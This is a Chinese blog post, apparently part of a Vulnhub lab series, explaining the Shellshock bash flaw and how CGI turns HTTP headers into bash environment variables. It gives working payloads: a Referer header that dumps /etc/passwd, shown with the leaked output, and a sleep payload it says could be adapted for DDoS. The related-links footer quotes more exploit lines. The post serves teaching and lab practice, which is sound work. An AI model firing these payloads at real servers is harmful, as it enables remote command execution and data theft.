【靶场补充】项目十二补充（shellshock原理）

已于 2022-09-12 15:10:16 修改
阅读量660 收藏 3
点赞数 1
分类专栏： vulnhub百个项目渗透 文章标签： bash linux 开发语言 网络安全
于 2022-09-12 14:35:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65527369/article/details/126811820
版权

补充：关于项目12shellshock原理以及与CGI的利用原理

靶场WP地址

🔥系列专栏：Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2022年9月12日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

巅峰之路

一句话原理

CGI的环境变量用可以执行命令的bash运行，而CGI又将UA头等信息作为可接收的环境变量，而环境变量又具有定义功能函数的作用，而在bash的函数声明中（也就是定义功能函数的语法）具有固定的格式，我们只需要利用UA等方式传入环境变量的字符串混淆绕过bash的函数声明的格式，再尾随一个payload，此时bash打着运行函数声明的名义而运行了payload。这就是shellshock

一、什么是shell？

Shell 这个单词的原意是“外壳”，跟 kernel（内核）相对应，比喻内核外面的一层，即用户跟内核交互的对话界面。

  1. 首先，Shell 是一个程序，提供一个与用户对话的环境。这个环境只有一个命令提示符，让用户从键盘输入命令，所以又称为命令行环境（command line interface，简写为 CLI）。Shell 接收到用户输入的命令，将命令送入操作系统执行，并将结果返回给用户。

  2. 其次，Shell 是一个命令解释器，解释用户输入的命令。它支持变量、条件判断、循环操作等语法，所以用户可以用 Shell 命令写出各种小程序，又称为脚本（script）。这些脚本都通过 Shell 的解释执行，而不通过编译。

  3. 最后，Shell 是一个工具箱，提供了各种小工具，供用户方便地使用操作系统的功能。

二、Shell 的种类

Shell 有很多种，只要能给用户提供命令行环境的程序，都可以看作是 Shell。
历史上，主要的 Shell 有下面这些。

Bourne Shell（sh）
Bourne Again shell（bash）
C Shell（csh）
TENEX C Shell（tcsh）
Korn shell（ksh）
Z Shell（zsh）
Friendly Interactive Shell（fish）

下面的命令可以查看当前设备的默认 Shell。

$ echo $SHELL

三、BASH

Bash允许输出Shell功能函数到其他bash程序。这是通过建立有功能函数定义的环境变量來做到。

env ENV_VAR_FN=’() { <your function> };’

bash是一个命令处理器, 运行在文本窗口中, 并能执行用户直接输入的命令.
bash还能从文件中读取Linux命令, 称之为脚本.
bash支持通配符, 管道, 命令替换, 条件判断等逻辑控制语句

四、CGI

  1. 首先：服务器使用 Bash 来解释变量

CGI程序继承了系统的环境变量，CGI的环境变量，在CGI程序在启动时初始化，结束时销毁，当一个CGI程序不是被HTTP服务器调用时，其环境变量基本是系统的环境变量。当属于HTTP服务器调用时，他的环境变量就会多了以下关于HTTP服务器、客户端、CGI传输过程等项目。

  1. 也就是说CGI继承所有的系统环境变量，也可以自动的将外来的某些信息当作环境变量处理

下面这是CGI服务器所能接受的，来自客户端的环境变量，也就是说，来自于这些的文本，会被加载到环境变量中用而后用bash进行执行

在这里插入图片描述

使用GET方法

在该方法下，CGI程序无法直接从服务器的标准输入中获取数据，因为服务器把它从标准输入接收到得数据编码到环境变量QUERY_STRING（或PATH_INFO）。

五、特别的

看完了上面的所有内容，我们就应该有一个共识：（反复理解这句话）

基于CGI接口的网络服务很脆弱，因为他使用了一个可以执行命令的方式来进行可以人为控制的变量的处理，而虽然这种可以执行命令的方式需要你的变量作为一种环境变量来存在，但是他依然规定了可以通过一些用户可修改的信息（例如上图的ua头等）来将变量变成一个环境变量
没看懂不要紧，往下翻。

我们在CGI的运行过程中可以知道
Web服务器调用helloworld.cgi之前，会把各类HTTP请求中的信息以环境变量的方式写入OS。CGI程序本质是OS上一个普通的可执行程序，它通过语言本身库函数来获取环境变量，从而获得数据输入。

env ENV_VAR_FN=’() { <your function> };’
env ENV_VAR_FN=’() { <your function> }; <attacker code here>’

通过这种方式，我们可以发送将被 CGI 的 Bash 环境接受的已编辑的 User-Agent **（也可以是其他可接受的环境变量头）**标头信息。
在这里插入图片描述

在这个CGI文件中，我们调用bash，那么在打开这个文件后，就可以看到shell shock Attack 的字样

这也就说明了CGI中的bash可以执行命令

六、shellshock

核心点：环境变量

那么我就围绕着bash对于环境变量来阐述：

再一次回顾这段话，我将这段话命名为A，其中加粗的部分将在下面的表格中引用

基于CGI接口的网络服务很脆弱，因为他使用了一个可以执行命令的方式来进行可以人为控制的变量的处理，而虽然这种可以执行命令的方式需要你的变量作为一种环境变量来存在，但是他依然规定了可以通过一些用户可修改的信息（例如上图的ua头等）来将变量变成一个环境变量

A中加粗的字解释
使用了一个可以执行命令的方式CGI利用BASH执行环境变量，并且BASH可以执行命令
进行可以人为控制的变量的处理变量由用户自己修改或定义
虽然这种可以执行命令的方式需要你的变量作为一种环境变量来存在环境变量才能用bash执行
但是他依然规定了可以通过一些用户可修改的信息（例如上图的ua头等）来将变量变成一个环境变量UA头默认是CGI接受的来自客户端传入的环境变量
问题答案
漏洞产生点bash的函数导出功能，也就是可以给别人用
工作原理与其他bash共享命令脚本
如何共享通过脚本编码到进程之间一个共享的表来共享使用
这个表是什么环境变量表
这个表有什么用其他进程会扫描这个表来查找脚本，组成命令
为什么有用这个新的bash无法验证环境变量中的脚本来源以及有否有害
我们如何利用想办法利用bash共享函数功能将payload传入环境变量，然后令bash运行
bash如何创建函数function foo() { echo “foo”; return 0; }
创建了函数有什么用由于在以前的bash版本中对于函数创建的语句清理不够，导致，如果可以绕过函数创建的语句，使其混淆中断的位置，而在创建语句后面尾随命令，那么就可以造成命令的执行
为什么说CGI最危险上面给出的图中说明了一些可以接受来自一些客户端的信息使之成为环境变量
接下来的思路混淆函数创建的语句，然后将命令尾随其后，放入CGI能接收并存储为环境变量的请求中，而在接收这个被当作环境变量的变量之后之后服务器将这个bash作为一个脚本存入环境变量，在下一次使用的时候，其中的代码将被执行
如何绕过() { :;};

下面是一个利用shellshock的实例，首先是请求头，在referer输入了payload

GET http://shellshock.testsparker.com/cgi-bin/netsparker.cgi HTTP/1.1
User-Agent: Netsparker
Host: shellshock.testsparker.com
Referer: () { :;}; echo "NS:" $(</etc/passwd)


HTTP/1.0 200 OK
Server: nginx/1.2.1
Date: Fri, 26 Sep 2014 11:22:43 GMT
Content-Type: text/html
NS: root:x:0:0:root:/root:/bin/bash
daemon: x:1:1:daemon:/usr/sbin:/bin/sh
bin: x:2:2:bin:/bin:/bin/sh
sys: x:3:3:sys:/dev:/bin/sh
sync: x:4:65534:sync:/bin:/bin/sync
games: x:5:60:games:/usr/games:/bin/sh
man: x:6:12:man:/var/cache/man:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
mail: x:8:8:mail:/var/mail:/bin/sh
news: x:9:9:news:/var/spool/news:/bin/sh
uucp: x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy: x:13:13:proxy:/bin:/bin/sh
www-data: x:33:33:www-data:/var/www:/bin/sh
backup: x:34:34:backup:/var/backups:/bin/sh
list: x:38:38:Mailing List Manager:/var/list:/bin/sh
irc: x:39:39:ircd:/var/run/ircd:/bin/sh
gnats: x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid: x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim: x:101:103::/var/spool/exim4:/bin/false
messagebus: x:102:106::/var/run/dbus:/bin/false
avahi: x:103:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
sshd: x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql: x:105:111:MySQL Server,,,:/nonexistent:/bin/false
Connection: close

七、实例payload

这是 代码 e 的行（一个 Bash 函数声明，后跟一个分号，‘sleep’ 命令从三个可能的路径运行以确保它被执行）：

new_function() { :;} ; /bin/ 20 /sbin/sleep 20 | /usr/bin/sleep 20

new_function 可以是新的创建函数，也可以是旧的函数，因为支持修改和新建，比如说改成我们熟悉的UA头即可

用这个payload加以加工可能可以实现DDOS攻击，尤其是在物联网发达的今天，如果存在4.3以下版本的bash，那么他就可能存在危险。

人间体佐菲
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
详解ShellShock 漏洞复现原理，内附ShellShock的修复方法
Anprou的博客
05-31 6607
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞，启动Bash的时候，它不但会导入这个函数，而且也会把函数定义后面的命令执行。
Shellshock（破壳）系列漏洞简要分析及检测
Traxer的学习之路
03-13 4468
1.漏洞简介2.POC验证2.1 CVE 2014-6271最开始的shell测试脚本如下，主要的代码是第五行，它先使用env命令将() { :;}; echo vulnerable赋值给环境变量x，随后启动一个新的bash进程并执行命令echo test，并将错误信息重定向到null，再查找有无’vulnerable’这个字符串输出，如果输出成功则表示存在漏洞：#!/bin/bash EXITCO
CVE-2014-6271-bash shellshock-破壳漏洞复现
m0_62008601的博客
08-06 2930
这些变量可以包含代码，在shell被调用后会被立即执行。用docker搭建vulhub漏洞靶场，服务启动后，有两个页面http://192.168.217.134:8080/victim.cgi和http://192.168.217.134:8080/safe.cgi。可以看到错误原因都是permission denied，那就是权限不足的原因了，那我们就修改一下权限，让它能够被访问。既然在victim.cgi可以执行命令，那么应该就可以进行反弹shell了，kali开启端口监听，执行反弹shell命令。.
vulhub漏洞复现之bash（Shellshock CVE-2014-6271）
weixin_43071873的博客
11-27 1233
Shellshock 破壳漏洞 CVE-2014-6271 1.漏洞概述： GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码，在shell被调用后会被立即执行。 2.漏洞影响：GNU Bash <= 4.3
黑客必备！Linux Shell Shock漏洞利用和实战
最新发布
logic1001的博客
04-15 992
漏洞介绍Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科环境搭建1、 以root权限安装4.1版本的bansh。下载地址：3、链接5、 如果上一步输出vulnerable，那么让/bin/sh指向/bin/bash。
漏洞分析——shellshock实验
郭同学如是说
04-15 1699
Shellshock Attack Lab 前导知识 SHELL:命令行界面的解释器 Linux下常见Shell： Bourne Again Shell（/bin/bash） C Shell（/usr/bin/csh） K Shell（/usr/bin/ksh） Bourne Again Shell（/bin/bash） 查看目前使用的shell是否是/bin/bash： seed@ubuntu:/usr/lib/cgi-bin$ echo $SHELL /bin/bash vim编
shellshock
12-10
shellshock代码，网页形式，看起来不错，需要到可以试试哦。
shellshock 补丁 for rhel5.11 x64
10-08
shellshock 补丁 for rhel5.11 x64
ShellShockHunter:这是测试漏洞Shellshock的简单工具
05-05
Shellshock，也称为Bashdoor，是Unix Bash shell中的一系列安全漏洞，第一个漏洞已于2014年9月24日公开。Shellshock可能使攻击者导致Bash执行任意命令并获得对许多Internet-使用Bash处理请求的面向服务（例如Web...
shellshockcgitool:CGI脚本Shellshock开发工具
03-08
CGI脚本ShellShock开发工具。 什么是Shellshock？ Shellshock是Bash版本1.0.3-4.3中的关键错误，可以使攻击者执行任意命令。 Bash的漏洞版本错误地执行了遵循存储在环境变量中的函数定义的命令-攻击者可以在将用户...
Bash漏洞——Shellshock浅析.pdf
07-10
Shellshock漏洞的原理** 检测Shellshock漏洞的命令是通过设置一个包含恶意代码的环境变量，然后执行bash命令。如果系统易受攻击，它将显示额外的输出，表示存在Shellshock漏洞。这个漏洞的根源在于Bash在处理环境...
【vulhub】shellshock-bash破壳漏洞复现与利用
qq_45300786的博客
09-13 796
详细说明请看 https://www.cnblogs.com/cute-puli/p/14649873.html 楼主这里只做实验 3个exp exp1 curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://192.168.100.34:8080/victim.cgi exp2 User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id exp3 User-
Linux Shell Shock漏洞利用和实战
单核CPU的小朋友的博客
03-01 5107
漏洞介绍： Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科 漏洞实验环境搭建： 1、 以root权限安装4.1版本的bansh。下载...
关于ShellShock漏洞的利用过程和原理解析
pygain的博客
01-01 8542
0x00 今天本是应该休息和打LOL的日子，但是我那个敬业的舍友非要拿python写个跟Siri类似的东西。好吧我也来学习学习 晚上来研究下这个14年出现并且自家产品能防护住的漏洞---ShellShock 这是Bashshell中的一个漏洞，使得攻击者能在小于等于4.1版本的Bash上进行任意代码执行   实验环境：Centos 6.7 实验目的：获取root权限 0x
CTFHub ShellShock解题记录
weixin_44732566的博客
04-07 1746
CTFHub Bypass disable_function ShellShock ShellShock,破壳漏洞，出现于2014年 可以通过以下命令来判断是否存在这个漏洞 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 如果结果中有 vulnerable说明存在这个漏洞，执行了echo vulnerable这个语句...
【pwnable.kr】 shellshock
weixin_30284355的博客
07-05 110
pwnable从入门到放弃，第五题。 ssh shellshock@pwnable.kr -p2222 (pw:guest) 这题主要涉及了一个关于bash的CVE漏洞。 首先还是下载源代码审计一下，shellshock.c #include <stdio.h> int main(){ setresuid(getegid(), getegid()...
渗透中 PoC、Exp、Payload 与 Shellcode 的区别
qq_29192677的博客
05-25 324
渗透中 PoC、Exp、Payload 与 Shellcode 的区别 Posted on2018-04-29Edited on2021-02-06InCheatSheet PoC，全称“Proof of Concept”，中文“概念验证”，常指一段漏洞证明的代码。 Exp，全称“Exploit”，中文“利用”，指利用系统漏洞进行攻击的动作。 Payload，中文“有效载荷”，指成功 exploit 之后，真正在目标系统执行的代码或指令。 Shellcode，简单翻译“shell ...
一款结合破壳(Shellshock)漏洞利用的Linux远程控制恶意软件Linux/XOR.DDoS 深入解析...
weixin_34227447的博客
03-08 1349
vvun91e0n · 2015/07/23 15:43原文：blog.malwaremustdie.org/2015/07/mmd…0x00 背景昨天又是忙碌的一天，因为我获知近期有破壳漏洞利用攻击，所以我们团队集合起来对所有近期的捕获到的互联网交叉流量中的ELF文件威胁 (ELF threats)进行检测。我查看了一套shell脚本的命令部分，立刻就知道它基本上就是Linux/XOR.DDoS...
shellshock漏洞利用
我的学习笔记
02-28 1148
echo $shell #查看当前用户的shell env x='() { :;}; echo vulnerable' bash -c "echo this is a test" #定义了一个名字叫x的变量，内容时单引号内的。 exploit：curl -H 'x: () { :;};a='/bin/mkdir /var/www/.ssh';echo ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值